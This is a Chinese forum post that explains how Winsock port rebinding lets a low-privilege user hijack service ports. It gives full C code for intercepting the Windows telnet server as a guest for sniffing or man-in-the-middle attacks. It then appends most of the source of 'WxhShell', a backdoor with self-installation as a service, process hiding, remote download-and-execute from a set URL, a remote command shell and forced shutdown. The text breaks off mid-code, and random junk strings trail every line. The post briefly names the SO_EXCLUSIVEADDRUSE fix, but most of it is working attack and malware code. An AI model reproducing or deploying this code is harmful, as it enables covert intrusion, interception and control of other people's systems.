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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: gZO&r#   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3J~0O2  
7(bQ}mHl\  
  saddr.sin_family = AF_INET; j8++R&1f]  
f'X9HU{Cz  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g # S0V  
hmpr%(c`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5.vG^T0w  
e_.Gw"/Yl  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5G[x}4U  
0K `[,$Y  
  这意味着什么?意味着可以进行如下的攻击: Z^yNLF*&V  
`!vUsM.d  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A#rh@8h+  
fE]XWA4U  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Zd!U')5/  
OcmRZ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =dZHYO^Cv  
D3D}DaEYj  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =wVJ%  
&xXEnV  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 tF7hFL5f  
tGjhHp8}c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 D+JAK!W  
x|i_P|Z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 k7@t{Cu0D&  
> Lft9e   
  #include d$t40+v  
  #include DY\J[l<<  
  #include (UL4+ta  
  #include    t~``md4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   t$J.+}}I  
  int main() MSw$_d  
  { GbI-SbE  
  WORD wVersionRequested; Qkcjr]#^$  
  DWORD ret; YJ_\Ns+Ow  
  WSADATA wsaData; zmI]cD@G  
  BOOL val; *JX;|S  
  SOCKADDR_IN saddr; ICC%,$C~l  
  SOCKADDR_IN scaddr; hI},~af  
  int err; c!#:E`  
  SOCKET s; 5T@aCC@$h  
  SOCKET sc; ?QZ"JX])  
  int caddsize; */^QH@P  
  HANDLE mt; cPDQ1qre!  
  DWORD tid;   `R"~v/x  
  wVersionRequested = MAKEWORD( 2, 2 ); |'d>JT:  
  err = WSAStartup( wVersionRequested, &wsaData ); I_1e?\  
  if ( err != 0 ) { I%j_"r9-I  
  printf("error!WSAStartup failed!\n"); *.#oxcll  
  return -1; >UDd @  
  } *=AqM14 @  
  saddr.sin_family = AF_INET; nKoiG*PI  
   ;G\8jP'   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 as*4UT3  
-=`#fDvBn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0@I S  
  saddr.sin_port = htons(23); "ZwKk G  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,<-G<${  
  { S35~Cp  
  printf("error!socket failed!\n"); 6eFp8bANN#  
  return -1; 7 aV%=_  
  } ;&V s4  
  val = TRUE; >J9oH=S6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }e2VY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vS\Nd1~?  
  { ]hos+;4p  
  printf("error!setsockopt failed!\n"); +{<#(}  
  return -1; ^D%FX!$  
  } U*3J+Y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YNwp/Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Fz#X= gmG  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 bKg8rK u  
2i;7{7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /!h;c$  
  { VTy9_~q  
  ret=GetLastError(); B"yFS7Rrj  
  printf("error!bind failed!\n"); )R`xR,H  
  return -1; 6AG`&'"  
  } 1#IlWEg  
  listen(s,2); SZaS;hhhHu  
  while(1) [S5\#=_4S  
  { ljTBvU  
  caddsize = sizeof(scaddr); >zAUW[]C:I  
  //接受连接请求 86]p#n_>Fv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,XDRO./+T  
  if(sc!=INVALID_SOCKET) Gmwf4>"  
  { A,  3bC  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); f+8wl!M+6  
  if(mt==NULL) / 0 O=(  
  { '3zc|eJt&  
  printf("Thread Creat Failed!\n"); (hiyNMC  
  break; Xs: 3'ua  
  } 8YC_3Yi%  
  } YIw1  
  CloseHandle(mt); ~ab:/!Z  
  } .X# `k  
  closesocket(s); vz.>~HBP  
  WSACleanup(); 1-lu\"H`  
  return 0; nRyU]=-X  
  }   i&{DOI%w  
  DWORD WINAPI ClientThread(LPVOID lpParam) k0Ol*L!p  
  { 2hzsKkrA {  
  SOCKET ss = (SOCKET)lpParam; sMu] /'7  
  SOCKET sc; ]a5 f2lE  
  unsigned char buf[4096]; X}+>!%W!}  
  SOCKADDR_IN saddr; QQWadVQo  
  long num; a~'a  
  DWORD val; jv&*uYm  
  DWORD ret; lOtDqb&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0lhVqy}:}o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0c}  }Q  
  saddr.sin_family = AF_INET; yKO`rtP  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +$g}4  
  saddr.sin_port = htons(23); <HbcNE~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ``wSc0\  
  { s"t$0cH9  
  printf("error!socket failed!\n"); ,l<6GB2\  
  return -1; E? _Z`*h  
  } PLK3v4kVM!  
  val = 100; (J z1vEEV  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FCnm1x#  
  { Y1]n^  
  ret = GetLastError(); rqY`8Ry2M  
  return -1; z11O F  
  } :Nz9xD$S5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J+`VujWT  
  { ."9];)2rx  
  ret = GetLastError(); B)0i:"q  
  return -1; {{QELfH2  
  } Hv2De0W  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j KoG7HH  
  { V$ ps>  
  printf("error!socket connect failed!\n"); Z<vKQ4 G  
  closesocket(sc); tCdqh-   
  closesocket(ss); *s:(jDlv  
  return -1; K*~0"F>"0  
  } cXKjrL[b  
  while(1) p,eTY[k?  
  { /pT =0=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B]Thn  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lhqg$lb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;C2K~8,  
  num = recv(ss,buf,4096,0); U|IzXQX(  
  if(num>0) !O<)\ )|g  
  send(sc,buf,num,0); "g1)f"pL  
  else if(num==0) k7T`bYv  
  break; ,^2>k3=  
  num = recv(sc,buf,4096,0); "thdPZ  
  if(num>0) Eea*s'  
  send(ss,buf,num,0); Dy:|g1>  
  else if(num==0) FY#C.mL  
  break; 5yP\I+Fm  
  } )v.=jup[  
  closesocket(ss); MB]<Dyj,  
  closesocket(sc); *-8&[D0  
  return 0 ; Sy0$z39  
  } 9po3m]|zy  
. QBF`Rz  
#T'{ n1AI  
========================================================== ++`0rY%  
=,6z4" )  
下边附上一个代码,,WXhSHELL $7^o#2 B  
pe 1R(|H  
========================================================== :gWu9Y|{  
$xPaYf  
#include "stdafx.h" H" 3fT0  
NgP&.39U  
#include <stdio.h> 2QyV%wz  
#include <string.h> Q o{/@  
#include <windows.h> M 0U 0;QJ  
#include <winsock2.h> vVFy*#I#_[  
#include <winsvc.h> +l<5#pazx  
#include <urlmon.h> V<T9&8l+:  
<h:x=  
#pragma comment (lib, "Ws2_32.lib") ! t?iXZ  
#pragma comment (lib, "urlmon.lib") :% ,:"  
#ML%ij 1  
#define MAX_USER   100 // 最大客户端连接数 J;8IY=  
#define BUF_SOCK   200 // sock buffer ,)Znb=  
#define KEY_BUFF   255 // 输入 buffer 4\8+9b\9"  
1cpiHZa  
#define REBOOT     0   // 重启 !ug8SAOaz/  
#define SHUTDOWN   1   // 关机 :LW4E9O=H  
GLeK'0Q@  
#define DEF_PORT   5000 // 监听端口 f Sa"%8%  
1SCR.@ k<  
#define REG_LEN     16   // 注册表键长度 {tYZt4!{^  
#define SVC_LEN     80   // NT服务名长度 %N>%!m  
2y;Skp  
// 从dll定义API N_W}*2(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8c9*\S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _x(o*v[Pt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ch <[l8;K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "&G/T ?4  
Ku5\]  
// wxhshell配置信息 ,9zjFI  
struct WSCFG { #P0&ewy  
  int ws_port;         // 监听端口 Whm,F^  
  char ws_passstr[REG_LEN]; // 口令 ) l:[^$=,  
  int ws_autoins;       // 安装标记, 1=yes 0=no iJ1"at  
  char ws_regname[REG_LEN]; // 注册表键名 3TeY%5iVt  
  char ws_svcname[REG_LEN]; // 服务名 vqDu(6!2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 su{poQ}K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P3+5?.p.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4%>$-($  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \ `~Ly-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^/I 7|u]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R;&AijS8  
7&jTtKLj  
}; cPyE 6\lN  
X86O lP)eX  
// default Wxhshell configuration Jh,]r?Bd  
struct WSCFG wscfg={DEF_PORT, R3gdLa.  
    "xuhuanlingzhe", Ezc?#<+7  
    1, Hq:X{)"  
    "Wxhshell", qr"3y  
    "Wxhshell", x[ ~b2o  
            "WxhShell Service", Lt?lv2k=L  
    "Wrsky Windows CmdShell Service", Y']\Jq{OS  
    "Please Input Your Password: ", E7j(QO f  
  1, SJb&m-  
  "http://www.wrsky.com/wxhshell.exe", . qO@Q=  
  "Wxhshell.exe" 2_HNhW  
    }; qkDI](4  
^c"jH'#.L  
// 消息定义模块 '3 /4?wi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vdivq^%=a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {6|38$Rl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y!-M_v/  
char *msg_ws_ext="\n\rExit."; 46_xyz3+  
char *msg_ws_end="\n\rQuit."; _.tVSV p  
char *msg_ws_boot="\n\rReboot..."; =_JjmTy;a  
char *msg_ws_poff="\n\rShutdown..."; #+ 0M2Sa  
char *msg_ws_down="\n\rSave to "; LM~[@_j  
|W,& Hl7  
char *msg_ws_err="\n\rErr!"; } gyj0  
char *msg_ws_ok="\n\rOK!"; z+0I#kM"1  
3]}D`Qs6  
char ExeFile[MAX_PATH]; % ?0:vn  
int nUser = 0; @vC4[:"pD}  
HANDLE handles[MAX_USER]; N7b8m?!  
int OsIsNt; Xv ]W(f1  
FtP0krO(  
SERVICE_STATUS       serviceStatus; Xix L  R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ? uzRhC_)!  
ElcjtYu4  
// 函数声明 s4X>.ToMC  
int Install(void); k:t ]s_`<  
int Uninstall(void); e'6/` Evqz  
int DownloadFile(char *sURL, SOCKET wsh); aH)}/n  
int Boot(int flag); JU1~e@/'%  
void HideProc(void); Z]>O+  
int GetOsVer(void); |mxDjgq  
int Wxhshell(SOCKET wsl); !JHL\M>A5  
void TalkWithClient(void *cs); Ra)3+M!x  
int CmdShell(SOCKET sock); Y2N>HK0  
int StartFromService(void); Q 3hKk$Y  
int StartWxhshell(LPSTR lpCmdLine); I667Gz$j5  
kJ'!r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :;t:H] f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0gW"i&7c  
u%&`}g  
// 数据结构和表定义 dyz2.ZY~2  
SERVICE_TABLE_ENTRY DispatchTable[] = EizKoHI-z  
{ (9''MlGd%  
{wscfg.ws_svcname, NTServiceMain}, Q|S.R1L^  
{NULL, NULL} \FQRNj?'_  
}; PS)4 I&;U  
pnl{&<$C%C  
// 自我安装 jwc)Lj}  
int Install(void) E:UW#S%A f  
{ [A+ >^ {  
  char svExeFile[MAX_PATH]; }"nItcp.1  
  HKEY key; >,V9H$n  
  strcpy(svExeFile,ExeFile); x|/|jzJSX  
8g@<d ^8@  
// 如果是win9x系统,修改注册表设为自启动 ^cOUQ33  
if(!OsIsNt) { |HiE@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b6 cBg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .5^cb%B*  
  RegCloseKey(key); 8bTn^!1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  U f:`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R/~p>apg8  
  RegCloseKey(key); 6dq(T_eG  
  return 0; ne>pOK<vZ  
    } Nyku4r0  
  } (yH'{6g\  
} [^WC lRF  
else { Fco`^kql.D  
{{$Nqn,pH  
// 如果是NT以上系统,安装为系统服务 %0S3V[4I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7x"R3  
if (schSCManager!=0) +SP{hHa^  
{ nHM~  
  SC_HANDLE schService = CreateService 8 }I$'x  
  ( ~Otq %MQ  
  schSCManager, FvaUsOy "  
  wscfg.ws_svcname, ^h(ew1:  
  wscfg.ws_svcdisp, .p<:II:6  
  SERVICE_ALL_ACCESS, nD_GL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |U:k,YH  
  SERVICE_AUTO_START, r<9Iof4  
  SERVICE_ERROR_NORMAL, j@n)kPo,1  
  svExeFile, k$4y9{  
  NULL, Z+*9#!?J  
  NULL, 9g9HlB&Ze  
  NULL, Xpr?Kgz  
  NULL, z6KCv(zvB  
  NULL :y'Ah#  
  ); OV1_|##LC  
  if (schService!=0) 0z`a1 %U  
  { \ ZgE  
  CloseServiceHandle(schService); /Wi[OT14  
  CloseServiceHandle(schSCManager); I:=S 0&%)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a!zz6/q[  
  strcat(svExeFile,wscfg.ws_svcname); *z5.vtfu!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .<->C?#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G!Op~p@Jm  
  RegCloseKey(key); cVXLKO  
  return 0; 0eT(J7[ <  
    } LoURC$lS  
  } UE8kpa)cQ  
  CloseServiceHandle(schSCManager); %"q9:{m  
} =ElO?9&  
} Y4J3-wK5  
|)IlMG  
return 1; dH;8mb|#'  
} ~uj#4>3T  
$iN"9N%l  
// 自我卸载 ]Z>}6!  
int Uninstall(void) ;@mS^ik")$  
{ /MIe(,>Uh  
  HKEY key; QJZK|*  
qLO4#CKCL6  
if(!OsIsNt) { +jAGGv^)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fW{(lPx  
  RegDeleteValue(key,wscfg.ws_regname); {0L1X6eg  
  RegCloseKey(key);  `xKp%9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T.])diuvj-  
  RegDeleteValue(key,wscfg.ws_regname); 6Pz4\uE=  
  RegCloseKey(key); 'K$[^V  
  return 0; B al`y  
  } r)Ma3FL0;  
} |-fg j'  
} /fKx} }g)  
else { 5[8xV%>;  
Lz |? ek7Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '*Z1tDFS  
if (schSCManager!=0) `XJG(Oas\  
{ R   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MR;1 2*p  
  if (schService!=0) YDIG,%uv  
  { pI1-cV,`  
  if(DeleteService(schService)!=0) { TtJH7  
  CloseServiceHandle(schService); f&=AA@jLv  
  CloseServiceHandle(schSCManager); XPavReGf  
  return 0; h&M{]E9=  
  } 4svBzZdr  
  CloseServiceHandle(schService); HCIU!4rH  
  } _mj,u64  
  CloseServiceHandle(schSCManager); Yz'K]M_Dq  
} y8d]9sX{  
} [meO[otb  
])[[ V!1  
return 1; OyStqi  
} )\1QJ$-M&  
KKb,d0T[  
// 从指定url下载文件 IY_iB*T3jt  
int DownloadFile(char *sURL, SOCKET wsh) ]P9l jwR  
{ B |5]Jm]  
  HRESULT hr; kGH}[w  
char seps[]= "/"; g1;:KzVv  
char *token; zv|2:4H  
char *file; l^! ?@Kg,z  
char myURL[MAX_PATH]; 5us:adm[pD  
char myFILE[MAX_PATH]; Z|&MKG24  
f- K+]aZ)  
strcpy(myURL,sURL); @#l `iK  
  token=strtok(myURL,seps); w_aknt T  
  while(token!=NULL)  03L]  
  { %p Ynnfr  
    file=token; SUMrFd~  
  token=strtok(NULL,seps); E7WK (  
  } >Ifr [  
UBv,=v  
GetCurrentDirectory(MAX_PATH,myFILE); 1m'k|Ka  
strcat(myFILE, "\\"); 59 h]UX=  
strcat(myFILE, file); Ka'=o?'B5  
  send(wsh,myFILE,strlen(myFILE),0); C0sX gM  
send(wsh,"...",3,0); Vouvr<43o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2VPdw@"~}  
  if(hr==S_OK) 55G+;  
return 0; UZWioxsKr+  
else :W"~ {~#?  
return 1; ?3/qz(bM  
Je';9(ZK  
} {IjF+@I  
bc7/V#W  
// 系统电源模块 3BzNi'  
int Boot(int flag) !-g{[19\  
{ ]dF ,:8  
  HANDLE hToken; 9G9t" {  
  TOKEN_PRIVILEGES tkp; ?L x24*5%  
.zr-:L5{  
  if(OsIsNt) { $6qh| >z.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gLb`pCo/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2ElJbN#  
    tkp.PrivilegeCount = 1; UI0( =>L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;RH;OE,A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2my_;!6T[  
if(flag==REBOOT) { 8mCxn@yV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vXev$x=w-  
  return 0; DMs,y{v  
} b k~( ^!R  
else { N(O9&L*4fm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %9 SJ E  
  return 0; i9rN9Mq?O  
} @g|v;B|{  
  } u/UrAqw  
  else { @Rg/~\K  
if(flag==REBOOT) {  nI[os  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >R|/M`<ph  
  return 0; n"$jG:A QJ  
} O8f?; ]  
else { m\;R2"H%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M+-*QyCFK  
  return 0; &C:IX\  
} QfmJn((  
} "N;`1ce  
?K1/ <PE+  
return 1; "H2EL}3/]  
} WEAT01  
mR!1DQ.\<  
// win9x进程隐藏模块 M|VyV (f  
void HideProc(void) 2Zm0qJ  
{ 87=&^.~`  
+|*IZ:w)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <:_wbVn-  
  if ( hKernel != NULL ) 1kz\IQ{  
  { ] ;KJ6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i)\ L:qF5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m.hkbet/R  
    FreeLibrary(hKernel); -6Z\qxKqZ  
  } $5 >e  
evenq$ H  
return; %]\kgRr  
} #+JG(^%B  
4d"r^y'  
// 获取操作系统版本 1v#%Ei$6`t  
int GetOsVer(void) 7 G)ZN{'  
{ G3t xj  
  OSVERSIONINFO winfo; }#3V+X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B)$| vK=  
  GetVersionEx(&winfo); MlcR"gl*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {vs uPY  
  return 1; |U~<3.:m:  
  else lVd^ ^T*fh  
  return 0; 84$nT>c  
} ?xA:@:l/  
iyN:%ofh  
// 客户端句柄模块 'Jiw@t<o3`  
int Wxhshell(SOCKET wsl) 9y6-/H ,  
{ ,y1PbA0m  
  SOCKET wsh; # q~e^A b  
  struct sockaddr_in client; xg30x C[  
  DWORD myID; Gw=B:kGk  
zy?.u.4L  
  while(nUser<MAX_USER) N%kt3vmQ_  
{ 0Vj4+2?L5;  
  int nSize=sizeof(client); D{!6Y*d6&s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V4hiGO[  
  if(wsh==INVALID_SOCKET) return 1; Fiv3 {.  
9 *xR6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _> f`!PlB|  
if(handles[nUser]==0) Y)1PB+  
  closesocket(wsh); lvdf^b/ j  
else A8xvo/n$  
  nUser++; P|^f0Rw3.  
  } 09|K>UC)v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I?]ohG K  
B3:ez jj  
  return 0; q6@Lp^f  
} u6?Q3 bvI  
d+<G1w&z  
// 关闭 socket au N6prGe  
void CloseIt(SOCKET wsh) [O$Wa:< 0x  
{ Bz^jw>1b  
closesocket(wsh); j1^I+j)  
nUser--; V n7*JS  
ExitThread(0); N c1"g1JR  
} XQ#;Zs/l  
UXeN8  
// 客户端请求句柄 ;i8g41qjF  
void TalkWithClient(void *cs) A]<y:^2])C  
{ Z"Zmo>cV4  
YO#M/%^j  
  SOCKET wsh=(SOCKET)cs; =w;F<M|Y  
  char pwd[SVC_LEN]; :Uz|3gq  
  char cmd[KEY_BUFF]; \O}E7 -  
char chr[1]; 9l|@v=gw.  
int i,j; 6TYY UM"&  
b $'FvZbk  
  while (nUser < MAX_USER) { S\LkL]qx  
*Tas`WA  
if(wscfg.ws_passstr) { ={_C&57N1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !\"EFVH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qUh2hz:  
  //ZeroMemory(pwd,KEY_BUFF); -jW.TT h]  
      i=0; 7[w,:9& }  
  while(i<SVC_LEN) { 2n3W=dF  
0f~C#/[t7  
  // 设置超时 :a^t3s  
  fd_set FdRead; <_h~w}  
  struct timeval TimeOut; _+p4Wvu~0  
  FD_ZERO(&FdRead); M V<^!W  
  FD_SET(wsh,&FdRead); ?QsQnQ  
  TimeOut.tv_sec=8; VkvB<3  
  TimeOut.tv_usec=0; E4xj?m^(y=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |P[w==AAf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,eOB(?Ku  
C+'/>=>a.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~{d$!`|a  
  pwd=chr[0]; LyZ.l*h%=m  
  if(chr[0]==0xd || chr[0]==0xa) { zer%W%  
  pwd=0; vBRQp&YwX  
  break; J3,fk)  
  } !i{aMxUP  
  i++; Z LB4m`  
    } W6f/T3  
4S5,w(6N  
  // 如果是非法用户,关闭 socket j\,EO+ZQCv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L\Aq6q@c  
} 9`wZz~hL"  
<nE>XAI_7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `q?8A3A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >v:y?A,  
5Ec6),+&  
while(1) { {F3xJ[  
p rYs $j  
  ZeroMemory(cmd,KEY_BUFF); oT^{b\XN  
!LggIk1  
      // 自动支持客户端 telnet标准   'L 8n-TyL  
  j=0; }&/o'w2wY  
  while(j<KEY_BUFF) { t5[ #x4 p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;fsZ7k4]do  
  cmd[j]=chr[0]; H#@^R(  
  if(chr[0]==0xa || chr[0]==0xd) { 0C1pt5K  
  cmd[j]=0; ,#Iu 7di  
  break; Ewu O&q  
  } >XK PTC5H  
  j++; @*OZx9  
    } @<&5J7fb  
j2ve^F:Q  
  // 下载文件 (mgS"zPS  
  if(strstr(cmd,"http://")) { |y&*MTfV4L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z8zmHc"IH  
  if(DownloadFile(cmd,wsh)) ]or>?{4g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cJN7bA {  
  else Xa CX!Lr,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PRr2F-!P  
  } ]gmexa=(i  
  else { xgbJ2Mh  
^=T$&gD  
    switch(cmd[0]) { g,}_G3[j0m  
  ^oVs+vC  
  // 帮助 |s"nM<ZNZ  
  case '?': { 5i> $]*o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b@rVo;  
    break; }'""(,2  
  } ,-i zEr  
  // 安装 D&/kCi=R  
  case 'i': { k,'L}SK  
    if(Install()) 87Oad@FOr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m6TNBX  
    else Du`JaJI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q o?O:  
    break; '>&^zgr  
    } } ~h3c|  
  // 卸载 M*z~gOZ  
  case 'r': { U@gn;@\  
    if(Uninstall()) d\p,2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;gBRCZ  
    else 0*rQ3Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N03HQp)g  
    break; 2r!s*b\Ix  
    } Zw*v  
  // 显示 wxhshell 所在路径 )^ m%i]L _  
  case 'p': { aa?w:3  
    char svExeFile[MAX_PATH]; ko Z  
    strcpy(svExeFile,"\n\r"); ,RJtm%w  
      strcat(svExeFile,ExeFile); /a^1_q-bX  
        send(wsh,svExeFile,strlen(svExeFile),0); fBalTk;G{U  
    break; x$IX5:E#e  
    } bLe <G  
  // 重启 ,8:(OB|a  
  case 'b': { _z'u pb&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z54EG:x.7^  
    if(Boot(REBOOT)) 2@9Tfm(=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dls ss\c^M  
    else { LO <  
    closesocket(wsh); zhpx"{_  
    ExitThread(0); *RXbc~ H  
    } ;u;#g  
    break; qR(\5}  
    } (IC]?n}  
  // 关机 <<(wa j  
